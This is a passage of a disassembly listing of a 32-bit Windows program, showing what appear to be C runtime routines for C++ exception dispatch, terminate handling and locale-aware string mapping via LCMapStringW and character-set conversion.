		jnz	loc_415CBE

loc_415C33:				; CODE XREF: sub_415BD0+22j
					; sub_415BD0+36j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_415C41
		call	sub_416160

loc_415C41:				; CODE XREF: sub_415BD0+6Aj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_40E947
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_415CBE
		push	ebx

loc_415C64:				; CODE XREF: sub_415BD0+EBj
		cmp	esi, [edi]
		jl	short loc_415CAF
		cmp	esi, [edi+4]
		jg	short loc_415CAF
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_415C85
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_415CAF

loc_415C85:				; CODE XREF: sub_415BD0+ADj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_415CAF
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_415B64
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch

loc_415CAF:				; CODE XREF: sub_415BD0+96j
					; sub_415BD0+9Bj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_415C64
		pop	ebx

loc_415CBE:				; CODE XREF: sub_415BD0+5Dj
					; sub_415BD0+91j
		pop	edi

loc_415CBF:				; CODE XREF: sub_415BD0+Fj
		pop	esi
		leave
		retn
sub_415BD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC2	proc near		; CODE XREF: sub_416030+D4p

var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_415CE5
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_415CE8
; ---------------------------------------------------------------------------

loc_415CE5:				; CODE XREF: sub_415CC2+1Bj
		mov	ecx, [ecx+8]

loc_415CE8:				; CODE XREF: sub_415CC2+21j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_415CF4
		cmp	ecx, eax
		jl	short loc_415CF9

loc_415CF4:				; CODE XREF: sub_415CC2+2Cj
		call	sub_416160

loc_415CF9:				; CODE XREF: sub_415CC2+30j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_415FD4
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_415E41
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_415D31
		cmp	eax, 19930521h
		jz	short loc_415D31
		cmp	eax, 19930522h
		jnz	loc_415E41

loc_415D31:				; CODE XREF: sub_415CC2+5Bj
					; sub_415CC2+62j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_415E41
		call	sub_40F87E
		cmp	dword ptr [eax+88h], 0
		jz	loc_416013
		call	sub_40F87E
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_40F87E
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_41A224
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415D7C
		call	sub_416160

loc_415D7C:				; CODE XREF: sub_415CC2+B3j
		cmp	[esi], edi
		jnz	short loc_415DA6
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_415DA6
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_415D9B
		cmp	eax, 19930521h
		jz	short loc_415D9B
		cmp	eax, 19930522h
		jnz	short loc_415DA6

loc_415D9B:				; CODE XREF: sub_415CC2+C9j
					; sub_415CC2+D0j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_415DA6
		call	sub_416160

loc_415DA6:				; CODE XREF: sub_415CC2+BCj
					; sub_415CC2+C2j ...
		call	sub_40F87E
		cmp	dword ptr [eax+94h], 0
		jz	loc_415E41
		call	sub_40F87E
		mov	edi, [eax+94h]
		call	sub_40F87E
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_4156F6
		test	al, al
		pop	ecx
		jnz	short loc_415E39
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_415E00

loc_415DE3:				; CODE XREF: sub_415CC2+13Cj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_423E30
		call	sub_40D3FC
		test	al, al
		jnz	short loc_415E05
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_415DE3

loc_415E00:				; CODE XREF: sub_415CC2+11Fj
					; sub_415CC2+31Cj
		jmp	sub_416114
; ---------------------------------------------------------------------------

loc_415E05:				; CODE XREF: sub_415CC2+134j
		push	1
		push	[ebp+arg_0]
		call	sub_41567D
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_2C]
		mov	[ebp+arg_0], offset dword_41EC1C
		call	sub_40CFF1
		push	offset dword_421DBC
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], offset off_41EC14
		call	sub_40E69C

loc_415E39:				; CODE XREF: sub_415CC2+119j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h

loc_415E41:				; CODE XREF: sub_415CC2+50j
					; sub_415CC2+69j ...
		cmp	[esi], edi
		jnz	loc_415FD1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_415FD1
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_415E6C
		cmp	eax, 19930521h
		jz	short loc_415E6C
		cmp	eax, 19930522h
		jnz	loc_415FD1

loc_415E6C:				; CODE XREF: sub_415CC2+196j
					; sub_415CC2+19Dj
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_415F38
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_40E947
		add	esp, 14h
		mov	edi, eax

loc_415E92:				; CODE XREF: sub_415CC2+26Ej
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_415F35
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_415F2A
		cmp	eax, [edi+4]
		jg	short loc_415F2A
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		test	eax, eax
		mov	[ebp+var_18], eax
		jle	short loc_415F2A

loc_415EBE:				; CODE XREF: sub_415CC2+23Cj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_14], eax
		jle	short loc_415EF3

loc_415ED0:				; CODE XREF: sub_415CC2+22Fj
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_4154B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415F02
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_415ED0

loc_415EF3:				; CODE XREF: sub_415CC2+20Cj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_415EBE
		jmp	short loc_415F2A
; ---------------------------------------------------------------------------

loc_415F02:				; CODE XREF: sub_415CC2+224j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_415B64
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch

loc_415F2A:				; CODE XREF: sub_415CC2+1E1j
					; sub_415CC2+1EAj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_415E92
; ---------------------------------------------------------------------------

loc_415F35:				; CODE XREF: sub_415CC2+1D6j
		mov	edi, [ebp+arg_10]

loc_415F38:				; CODE XREF: sub_415CC2+1B1j
		cmp	[ebp+arg_14], 0
		jz	short loc_415F48
		push	1
		push	esi
		call	sub_41567D
		pop	ecx
		pop	ecx

loc_415F48:				; CODE XREF: sub_415CC2+27Aj
		cmp	[ebp+var_1], 0
		jnz	loc_416000
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_416000
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_416000
		push	esi
		call	sub_4156F6
		test	al, al
		pop	ecx
		jnz	loc_416000
		call	sub_40F87E
		call	sub_40F87E
		call	sub_40F87E
		mov	[eax+88h], esi
		call	sub_40F87E
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_415FAD
		push	[ebp+arg_4]
		jmp	short loc_415FB0
; ---------------------------------------------------------------------------

loc_415FAD:				; CODE XREF: sub_415CC2+2E4j
		push	[ebp+arg_1C]

loc_415FB0:				; CODE XREF: sub_415CC2+2E9j
		call	sub_40E71D
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415557
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_41576F

loc_415FD1:				; CODE XREF: sub_415CC2+181j
					; sub_415CC2+18Bj ...
		mov	ebx, [ebp+arg_10]

loc_415FD4:				; CODE XREF: sub_415CC2+41j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_416000
		cmp	[ebp+arg_14], 0
		jnz	loc_415E00
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_415BD0
		add	esp, 20h

loc_416000:				; CODE XREF: sub_415CC2+28Aj
					; sub_415CC2+29Cj ...
		call	sub_40F87E
		cmp	dword ptr [eax+94h], 0
		jz	short loc_416013
		call	sub_416160

loc_416013:				; CODE XREF: sub_415CC2+85j
					; sub_415CC2+34Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415CC2	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_40D057
		mov	dword ptr [esi], offset	off_41EC14
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416030	proc near		; CODE XREF: sub_40E76F+21p
					; .text:0040E7CBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_40F87E
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_416079
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_416079
		cmp	edx, 80000026h
		jz	short loc_416079
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_416079
		test	byte ptr [eax+20h], 1
		jnz	loc_41610C

loc_416079:				; CODE XREF: sub_416030+27j
					; sub_416030+2Dj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_4160A2
		cmp	dword ptr [eax+4], 0
		jz	loc_41610C
		cmp	[ebp+arg_14], 0
		jnz	short loc_41610C
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415557
		add	esp, 10h
		jmp	short loc_41610C
; ---------------------------------------------------------------------------

loc_4160A2:				; CODE XREF: sub_416030+4Dj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4160BA
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_41610C
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_41610C

loc_4160BA:				; CODE XREF: sub_416030+76j
		cmp	[ecx], edi
		jnz	short loc_4160F0
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_4160F0
		cmp	[ecx+14h], ebx
		jbe	short loc_4160F0
		mov	edx, [ecx+1Ch]
		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_4160F0
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_41610F
; ---------------------------------------------------------------------------

loc_4160F0:				; CODE XREF: sub_416030+8Cj
					; sub_416030+92j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_415CC2
		add	esp, 20h

loc_41610C:				; CODE XREF: sub_416030+43j
					; sub_416030+53j ...
		xor	eax, eax
		inc	eax

loc_41610F:				; CODE XREF: sub_416030+BEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416114	proc near		; CODE XREF: sub_4153D9:loc_41540Dp
					; sub_415513+22j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0041613B SIZE 00000012 BYTES

		push	8
		push	offset dword_421DF8
		call	__SEH_prolog4
		call	sub_40F87E
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_416142
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_41613B
sub_416114	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_416114

loc_41613B:				; CODE XREF: sub_416114+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_416142:				; CODE XREF: sub_416114+16j
		call	sub_41A231
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_416114

; =============== S U B	R O U T	I N E =======================================



sub_41614D	proc near		; CODE XREF: sub_41576F+23p
		call	sub_40F87E
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_41615B
		call	eax

loc_41615B:				; CODE XREF: sub_41614D+Aj
		jmp	sub_416114
sub_41614D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416160	proc near		; CODE XREF: sub_40E947+1Cp
					; sub_40E947:loc_40E9A8p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_421E18
		call	__SEH_prolog4
		push	off_42646C
		call	sub_40F674
		pop	ecx
		test	eax, eax
		jz	short loc_416192
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_41618B
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_41618B:				; CODE XREF: sub_416160+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_416192:				; CODE XREF: sub_416160+1Aj
		jmp	sub_416114
sub_416160	endp


; =============== S U B	R O U T	I N E =======================================



sub_416197	proc near		; CODE XREF: sub_412269+33p
		push	offset sub_416114
		call	sub_40F608
		pop	ecx
		mov	off_42646C, eax
		retn
sub_416197	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161B0	proc near		; CODE XREF: sub_40EA4F+4Ap
					; sub_415557+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_418D80
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4161EF
		mov	ecx, 2

loc_4161EF:				; CODE XREF: sub_4161B0+38j
		push	ecx
		call	sub_418D80
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4161B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161FC	proc near		; CODE XREF: sub_416217+220p
					; sub_416217+229p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_416216
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_416216
		push	eax
		call	sub_40DBA6
		pop	ecx

locret_416216:				; CODE XREF: sub_4161FC+6j
					; sub_4161FC+11j
		retn
sub_4161FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416217	proc near		; CODE XREF: sub_4165B9+2Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	dword_426470, ebx
		push	edi
		mov	esi, ecx
		jnz	short loc_41626E
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41EC2C
		push	100h
		push	ebx
		call	ds:dword_41E12C	; LCMapStringW
		test	eax, eax
		jz	short loc_416259
		mov	dword_426470, edi
		jmp	short loc_41626E
; ---------------------------------------------------------------------------

loc_416259:				; CODE XREF: sub_416217+38j
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41626E
		mov	dword_426470, 2

loc_41626E:				; CODE XREF: sub_416217+1Dj
					; sub_416217+40j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_416295
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]

loc_416279:				; CODE XREF: sub_416217+6Aj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_416286
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_416279
		or	ecx, 0FFFFFFFFh

loc_416286:				; CODE XREF: sub_416217+65j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_416292
		inc	eax

loc_416292:				; CODE XREF: sub_416217+78j
		mov	[ebp+arg_C], eax

loc_416295:				; CODE XREF: sub_416217+5Aj
		mov	eax, dword_426470
		cmp	eax, 2
		jz	loc_41644E
		cmp	eax, ebx
		jz	loc_41644E
		cmp	eax, 1
		jnz	loc_41647F
		cmp	[ebp+arg_18], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_4162C4
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_4162C4:				; CODE XREF: sub_416217+A3j
		mov	esi, ds:dword_41E0A0
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41647F
		jle	short loc_416336
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_416336
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_41631D
		call	sub_41A520
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_416331
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_41632E
; ---------------------------------------------------------------------------

loc_41631D:				; CODE XREF: sub_416217+F1j
		push	eax
		call	sub_40DC83
		cmp	eax, ebx
		pop	ecx
		jz	short loc_416331
		mov	dword ptr [eax], 0DDDDh

loc_41632E:				; CODE XREF: sub_416217+104j
		add	eax, 8

loc_416331:				; CODE XREF: sub_416217+FCj
					; sub_416217+10Fj
		mov	[ebp+var_C], eax
		jmp	short loc_416339
; ---------------------------------------------------------------------------

loc_416336:				; CODE XREF: sub_416217+DAj
					; sub_416217+E6j
		mov	[ebp+var_C], ebx

loc_416339:				; CODE XREF: sub_416217+11Dj
		cmp	[ebp+var_C], ebx
		jz	loc_41647F
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	loc_41643D
		mov	esi, ds:dword_41E12C
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_8], ecx
		jz	loc_41643D
		test	word ptr [ebp+arg_4], 400h
		jz	short loc_4163AD
		cmp	[ebp+arg_14], ebx
		jz	loc_41643D
		cmp	ecx, [ebp+arg_14]
		jg	loc_41643D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		jmp	loc_41643D
; ---------------------------------------------------------------------------

loc_4163AD:				; CODE XREF: sub_416217+16Bj
		cmp	ecx, ebx
		jle	short loc_4163F6
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_4163F6
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_4163DE
		call	sub_41A520
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_41643D
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_4163F8
; ---------------------------------------------------------------------------

loc_4163DE:				; CODE XREF: sub_416217+1AFj
		push	eax
		call	sub_40DC83
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4163F2
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_4163F2:				; CODE XREF: sub_416217+1D0j
		mov	esi, eax
		jmp	short loc_4163F8
; ---------------------------------------------------------------------------

loc_4163F6:				; CODE XREF: sub_416217+198j
					; sub_416217+1A4j
		xor	esi, esi

loc_4163F8:				; CODE XREF: sub_416217+1C5j
					; sub_416217+1DDj
		cmp	esi, ebx
		jz	short loc_41643D
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41E12C	; LCMapStringW
		test	eax, eax
		jz	short loc_416436
		cmp	[ebp+arg_14], ebx
		push	ebx
		push	ebx
		jnz	short loc_41641F
		push	ebx
		push	ebx
		jmp	short loc_416425
; ---------------------------------------------------------------------------

loc_41641F:				; CODE XREF: sub_416217+202j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_416425:				; CODE XREF: sub_416217+206j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_41E138	; WideCharToMultiByte
		mov	[ebp+var_8], eax

loc_416436:				; CODE XREF: sub_416217+1FBj
		push	esi
		call	sub_4161FC
		pop	ecx

loc_41643D:				; CODE XREF: sub_416217+13Ej
					; sub_416217+15Fj ...
		push	[ebp+var_C]
		call	sub_4161FC
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_4165A7
; ---------------------------------------------------------------------------

loc_41644E:				; CODE XREF: sub_416217+86j
					; sub_416217+8Ej
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_416461
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax

loc_416461:				; CODE XREF: sub_416217+240j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41646E
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_41646E:				; CODE XREF: sub_416217+24Dj
		push	[ebp+arg_0]
		call	sub_41A324
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jnz	short loc_416486

loc_41647F:				; CODE XREF: sub_416217+97j
					; sub_416217+D4j ...
		xor	eax, eax
		jmp	loc_4165A7
; ---------------------------------------------------------------------------

loc_416486:				; CODE XREF: sub_416217+266j
		cmp	eax, [ebp+arg_18]
		jz	loc_41656A
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_41A36B
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_41647F
		mov	esi, ds:off_41E130
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_43EF3C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_4164CD

loc_4164C6:				; CODE XREF: sub_416217+2D0j
					; sub_416217+2F9j
		xor	esi, esi
		jmp	loc_416584
; ---------------------------------------------------------------------------

loc_4164CD:				; CODE XREF: sub_416217+2ADj
		jle	short loc_41650C
		cmp	eax, 0FFFFFFE0h
		ja	short loc_41650C
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_4164F4
		call	sub_41A520
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_4164C6
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_41650E
; ---------------------------------------------------------------------------

loc_4164F4:				; CODE XREF: sub_416217+2C5j
		push	eax
		call	sub_40DC83
		cmp	eax, ebx
		pop	ecx
		jz	short loc_416508
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_416508:				; CODE XREF: sub_416217+2E6j
		mov	edi, eax
		jmp	short loc_41650E
; ---------------------------------------------------------------------------

loc_41650C:				; CODE XREF: sub_416217:loc_4164CDj
					; sub_416217+2BBj
		xor	edi, edi

loc_41650E:				; CODE XREF: sub_416217+2DBj
					; sub_416217+2F3j
		cmp	edi, ebx
		jz	short loc_4164C6
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_40CBA0
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_43EF3C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_41653C
		xor	esi, esi
		jmp	short loc_416561
; ---------------------------------------------------------------------------

loc_41653C:				; CODE XREF: sub_416217+31Fj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_41A36B
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]

loc_416561:				; CODE XREF: sub_416217+323j
		push	edi
		call	sub_4161FC
		pop	ecx
		jmp	short loc_416584
; ---------------------------------------------------------------------------

loc_41656A:				; CODE XREF: sub_416217+272j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41E130
		mov	esi, eax

loc_416584:				; CODE XREF: sub_416217+2B1j
					; sub_416217+351j
		cmp	[ebp+var_C], ebx
		jz	short loc_416592
		push	[ebp+var_C]
		call	sub_40DBA6
		pop	ecx

loc_416592:				; CODE XREF: sub_416217+370j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_4165A5
		cmp	[ebp+arg_10], eax
		jz	short loc_4165A5
		push	eax
		call	sub_40DBA6
		pop	ecx

